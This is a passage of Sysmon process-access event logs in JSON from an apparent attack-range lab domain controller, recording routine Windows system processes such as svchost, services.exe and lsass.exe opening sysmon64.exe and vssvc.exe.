C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5420,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5421,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5422,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5423,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5424,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.275\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1108\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.275","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1108","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5425,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5426,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.291\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.291","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5427,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.291\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 